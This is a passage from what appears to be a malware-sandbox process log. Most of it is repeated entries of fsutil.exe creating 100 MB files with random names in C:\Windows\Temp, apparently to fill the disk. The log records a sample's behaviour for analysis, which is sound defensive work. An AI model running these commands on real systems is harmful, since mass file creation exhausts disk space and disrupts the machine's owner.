  fsutil file createnew "C:\Windows\Temp\sys1548222770.tmp" 104857600
  2⤵
  PID:2272
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys74108044.tmp" 104857600
  2⤵
  PID:2384
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys72932046.tmp" 104857600
  2⤵
  PID:1904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys32776685.tmp" 104857600
  2⤵
  PID:3896
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys253229339.tmp" 104857600
  2⤵
  PID:2460
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2118023606.tmp" 104857600
  2⤵
  PID:1332
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys61796528.tmp" 104857600
  2⤵
  PID:5924
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3159921305.tmp" 104857600
  2⤵
  PID:1896
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys102930294.tmp" 104857600
  2⤵
  PID:5848
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1887326430.tmp" 104857600
  2⤵
  PID:2240
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1730123566.tmp" 104857600
  2⤵
  PID:4448
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2600332228.tmp" 104857600
  2⤵
  PID:5932
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1977512663.tmp" 104857600
  2⤵
  PID:2456
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3184410637.tmp" 104857600
  2⤵
  PID:5500
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2309114864.tmp" 104857600
  2⤵
  PID:556
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1395222731.tmp" 104857600
  2⤵
  PID:2276
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1025024859.tmp" 104857600
  2⤵
  PID:2428
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys97106677.tmp" 104857600
  2⤵
  PID:1092
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3217215090.tmp" 104857600
  2⤵
  PID:2000
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys471818367.tmp" 104857600
  2⤵
  PID:4856
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3057712446.tmp" 104857600
  2⤵
  PID:5692
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1810612329.tmp" 104857600
  2⤵
  PID:1780
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys241982470.tmp" 104857600
  2⤵
  PID:3692
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys171653638.tmp" 104857600
  2⤵
  PID:4932
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys398718469.tmp" 104857600
  2⤵
  PID:2484
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3094626111.tmp" 104857600
  2⤵
  PID:3412
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys134662847.tmp" 104857600
  2⤵
  PID:1944
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys296946601.tmp" 104857600
  2⤵
  PID:2396
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2205127413.tmp" 104857600
  2⤵
  PID:3788
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys529619253.tmp" 104857600
  2⤵
  PID:3400
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys19421239.tmp" 104857600
  2⤵
  PID:2708
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1621623735.tmp" 104857600
  2⤵
  PID:4700
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys130329882.tmp" 104857600
  2⤵
  PID:6032
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys951010057.tmp" 104857600
  2⤵
  PID:1416
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1829721322.tmp" 104857600
  2⤵
  PID:2084
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys259614433.tmp" 104857600
  2⤵
  PID:5800
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys205414130.tmp" 104857600
  2⤵
  PID:3084
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1138311296.tmp" 104857600
  2⤵
  PID:3432
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1359512409.tmp" 104857600
  2⤵
  PID:4812
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1251430668.tmp" 104857600
  2⤵
  PID:4416
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys111545087.tmp" 104857600
  2⤵
  PID:4564
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1447514464.tmp" 104857600
  2⤵
  PID:2492
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys68182664.tmp" 104857600
  2⤵
  PID:5096
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys102623074.tmp" 104857600
  2⤵
  PID:3164
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3018621320.tmp" 104857600
  2⤵
  PID:5352
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1830310902.tmp" 104857600
  2⤵
  PID:5356
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2151827040.tmp" 104857600
  2⤵
  PID:4152
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys522711569.tmp" 104857600
  2⤵
  PID:5664
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys174995016.tmp" 104857600
  2⤵
  PID:2256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3177817009.tmp" 104857600
  2⤵
  PID:3760
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1015826542.tmp" 104857600
  2⤵
  PID:4620
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2047230699.tmp" 104857600
  2⤵
  PID:5920
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys424115438.tmp" 104857600
  2⤵
  PID:4632
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys88265252.tmp" 104857600
  2⤵
  PID:5348
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2832813730.tmp" 104857600
  2⤵
  PID:4880
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2815013540.tmp" 104857600
  2⤵
  PID:4860
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys238026027.tmp" 104857600
  2⤵
  PID:4748
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys10853112.tmp" 104857600
  2⤵
  PID:4316
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys344512945.tmp" 104857600
  2⤵
  PID:2416
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys111757383.tmp" 104857600
  2⤵
  PID:3944
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1302130519.tmp" 104857600
  2⤵
  PID:5408
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys341632280.tmp" 104857600
  2⤵
  PID:4288
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys154584627.tmp" 104857600
  2⤵
  PID:1632
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys22722290.tmp" 104857600
  2⤵
  PID:5128
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2244422077.tmp" 104857600
  2⤵
  PID:3984
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1649119187.tmp" 104857600
  2⤵
  PID:572
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys82094805.tmp" 104857600
  2⤵
  PID:3248
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1329613893.tmp" 104857600
  2⤵
  PID:1904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys186139290.tmp" 104857600
  2⤵
  PID:4744
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys315634542.tmp" 104857600
  2⤵
  PID:2460
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1279017608.tmp" 104857600
  2⤵
  PID:4804
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys59693687.tmp" 104857600
  2⤵
  PID:4468
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys281673506.tmp" 104857600
  2⤵
  PID:4492
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys294229279.tmp" 104857600
  2⤵
  PID:804
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3093824641.tmp" 104857600
  2⤵
  PID:6076
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2994125553.tmp" 104857600
  2⤵
  PID:1080
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1005210251.tmp" 104857600
  2⤵
  PID:6108
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys480324611.tmp" 104857600
  2⤵
  PID:5256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys444411223.tmp" 104857600
  2⤵
  PID:556
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys906013168.tmp" 104857600
  2⤵
  PID:2940
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3178024752.tmp" 104857600
  2⤵
  PID:4740
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys152401081.tmp" 104857600
  2⤵
  PID:4312
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys164329496.tmp" 104857600
  2⤵
  PID:4904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3125518263.tmp" 104857600
  2⤵
  PID:3448
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys740931551.tmp" 104857600
  2⤵
  PID:3348
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1573012340.tmp" 104857600
  2⤵
  PID:1780
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys311813476.tmp" 104857600
  2⤵
  PID:5432
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1586828987.tmp" 104857600
  2⤵
  PID:3256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys130688219.tmp" 104857600
  2⤵
  PID:4472
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1276124717.tmp" 104857600
  2⤵
  PID:2596
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys732329728.tmp" 104857600
  2⤵
  PID:5464
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2405321750.tmp" 104857600
  2⤵
  PID:4672
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys35931467.tmp" 104857600
  2⤵
  PID:3428
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1440820255.tmp" 104857600
  2⤵
  PID:1100
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3065826773.tmp" 104857600
  2⤵
  PID:5112
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3260117157.tmp" 104857600
  2⤵
  PID:2976
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2176926906.tmp" 104857600
  2⤵
  PID:5860
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys273935545.tmp" 104857600
  2⤵
  PID:5556
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys115511182.tmp" 104857600
  2⤵
  PID:4204
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys231548970.tmp" 104857600
  2⤵
  PID:2560
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1780514421.tmp" 104857600
  2⤵
  PID:4828
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys907924656.tmp" 104857600
  2⤵
  PID:3936
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys536417326.tmp" 104857600
  2⤵
  PID:4416
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2636628234.tmp" 104857600
  2⤵
  PID:4728
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1782729967.tmp" 104857600
  2⤵
  PID:2400
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys379512314.tmp" 104857600
  2⤵
  PID:5480
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys319821207.tmp" 104857600
  2⤵
  PID:5476
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2270214895.tmp" 104857600
  2⤵
  PID:5388
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys90918688.tmp" 104857600
  2⤵
  PID:5356
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys472011636.tmp" 104857600
  2⤵
  PID:928
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2671732244.tmp" 104857600
  2⤵
  PID:5664
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2756221191.tmp" 104857600
  2⤵
  PID:4548
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys656327042.tmp" 104857600
  2⤵
  PID:4372
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys952733.tmp" 104857600
  2⤵
  PID:5008
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys617925296.tmp" 104857600
  2⤵
  PID:4620
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys26725924.tmp" 104857600
  2⤵
  PID:2924
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys37925811.tmp" 104857600
  2⤵
  PID:2532
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys713930329.tmp" 104857600
  2⤵
  PID:2720
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys97817869.tmp" 104857600
  2⤵
  PID:5032
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys291114970.tmp" 104857600
  2⤵
  PID:4772
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1000310422.tmp" 104857600
  2⤵
  PID:5604
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys281507791.tmp" 104857600
  2⤵
  PID:2748
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1236425870.tmp" 104857600
  2⤵
  PID:2792
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys19240357.tmp" 104857600
  2⤵
  PID:1380
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys102312146.tmp" 104857600
  2⤵
  PID:5304
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2707416778.tmp" 104857600
  2⤵
  PID:1388
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys122779629.tmp" 104857600
  2⤵
  PID:5084
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2339010656.tmp" 104857600
  2⤵
  PID:6060
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys54368305.tmp" 104857600
  2⤵
  PID:4920
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2487321164.tmp" 104857600
  2⤵
  PID:4820
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys488117222.tmp" 104857600
  2⤵
  PID:6136
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys356119950.tmp" 104857600
  2⤵
  PID:1512
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys227885506.tmp" 104857600
  2⤵
  PID:1904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1875011030.tmp" 104857600
  2⤵
  PID:5640
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys930223145.tmp" 104857600
  2⤵
  PID:6012
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys618311957.tmp" 104857600
  2⤵
  PID:5924
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys278146967.tmp" 104857600
  2⤵
  PID:5848
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2016919698.tmp" 104857600
  2⤵
  PID:2240
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys173565996.tmp" 104857600
  2⤵
  PID:4004
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys394815486.tmp" 104857600
  2⤵
  PID:4448
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys279103944.tmp" 104857600
  2⤵
  PID:5932
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1504713770.tmp" 104857600
  2⤵
  PID:5164
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys284987479.tmp" 104857600
  2⤵
  PID:1200
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1369312919.tmp" 104857600
  2⤵
  PID:5856
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys100104014.tmp" 104857600
  2⤵
  PID:4232
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys995916654.tmp" 104857600
  2⤵
  PID:1092
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys693431671.tmp" 104857600
  2⤵
  PID:940
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys539616625.tmp" 104857600
  2⤵
  PID:3024
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys625530697.tmp" 104857600
  2⤵
  PID:2992
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys5266801.tmp" 104857600
  2⤵
  PID:5264
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2307213916.tmp" 104857600
  2⤵
  PID:4280
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2825518402.tmp" 104857600
  2⤵
  PID:4200
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1629028859.tmp" 104857600
  2⤵
  PID:3852
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2581216652.tmp" 104857600
  2⤵
  PID:2484
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2221623194.tmp" 104857600
  2⤵
  PID:2596
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys295698548.tmp" 104857600
  2⤵
  PID:1992
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys155923594.tmp" 104857600
  2⤵
  PID:3400
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys138296298.tmp" 104857600
  2⤵
  PID:5568
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys69719835.tmp" 104857600
  2⤵
  PID:5600
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2177631795.tmp" 104857600
  2⤵
  PID:3004
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1703032130.tmp" 104857600
  2⤵
  PID:2688
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys79703386.tmp" 104857600
  2⤵
  PID:4680
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1074616076.tmp" 104857600
  2⤵
  PID:2524
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys782917971.tmp" 104857600
  2⤵
  PID:4220
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2184917681.tmp" 104857600
  2⤵
  PID:4556
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2070117745.tmp" 104857600
  2⤵
  PID:4256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2620330267.tmp" 104857600
  2⤵
  PID:3696
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys253599961.tmp" 104857600
  2⤵
  PID:2492
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys238884457.tmp" 104857600
  2⤵
  PID:5976
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys604825637.tmp" 104857600
  2⤵
  PID:4952
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys197189024.tmp" 104857600
  2⤵
  PID:5476
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys147032557.tmp" 104857600
  2⤵
  PID:1228
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys15175249.tmp" 104857600
  2⤵
  PID:4888
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1639023651.tmp" 104857600
  2⤵
  PID:928
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys318651761.tmp" 104857600
  2⤵
  PID:5664
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys233314782.tmp" 104857600
  2⤵
  PID:4296
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2836029717.tmp" 104857600
  2⤵
  PID:5008
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1929621146.tmp" 104857600
  2⤵
  PID:4176
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys346117196.tmp" 104857600
  2⤵
  PID:3656
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys98432462.tmp" 104857600
  2⤵
  PID:2472
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1127618465.tmp" 104857600
  2⤵
  PID:2692
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys297464030.tmp" 104857600
  2⤵
  PID:3364
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1531125009.tmp" 104857600
  2⤵
  PID:3300
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys161894274.tmp" 104857600
  2⤵
  PID:4748
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys588010602.tmp" 104857600
  2⤵
  PID:4532
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys692934.tmp" 104857600
  2⤵
  PID:2748
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2414427141.tmp" 104857600
  2⤵
  PID:2416
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys595129747.tmp" 104857600
  2⤵
  PID:3744
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2825520469.tmp" 104857600
  2⤵
  PID:5900
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2901022414.tmp" 104857600
  2⤵
  PID:4988
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys122452112.tmp" 104857600
  2⤵
  PID:3712
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys529516895.tmp" 104857600
  2⤵
  PID:1672
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1821616782.tmp" 104857600
  2⤵
  PID:3268
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys248764245.tmp" 104857600
  2⤵
  PID:1520
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2649517279.tmp" 104857600
  2⤵
  PID:3896
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys735023321.tmp" 104857600
  2⤵
  PID:2324
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys196634162.tmp" 104857600
  2⤵
  PID:1904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2421416960.tmp" 104857600
  2⤵
  PID:836
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys851517508.tmp" 104857600
  2⤵
  PID:1908
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1637128196.tmp" 104857600
  2⤵
  PID:5144
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2096210469.tmp" 104857600
  2⤵
  PID:2504
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3010420725.tmp" 104857600
  2⤵
  PID:4260
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys574011153.tmp" 104857600
  2⤵
  PID:6040
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys14072492.tmp" 104857600
  2⤵
  PID:5712
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1242012685.tmp" 104857600
  2⤵
  PID:2312
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys574317537.tmp" 104857600
  2⤵
  PID:3588
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys974830769.tmp" 104857600
  2⤵
  PID:3916
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys119794062.tmp" 104857600
  2⤵
  PID:2500
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3147030741.tmp" 104857600
  2⤵
  PID:1964
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1895510899.tmp" 104857600
  2⤵
  PID:4352
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1169532367.tmp" 104857600
  2⤵
  PID:4904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2595911915.tmp" 104857600
  2⤵
  PID:5692
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3172128828.tmp" 104857600
  2⤵
  PID:1008
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys139682367.tmp" 104857600
  2⤵
  PID:4280
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1267328156.tmp" 104857600
  2⤵
  PID:5424
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys568819497.tmp" 104857600
  2⤵
  PID:3852
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys187717411.tmp" 104857600
  2⤵
  PID:4624
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2965324956.tmp" 104857600
  2⤵
  PID:1532
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2179426765.tmp" 104857600
  2⤵
  PID:3260
- C:\Windows\system32\fsutil.exe
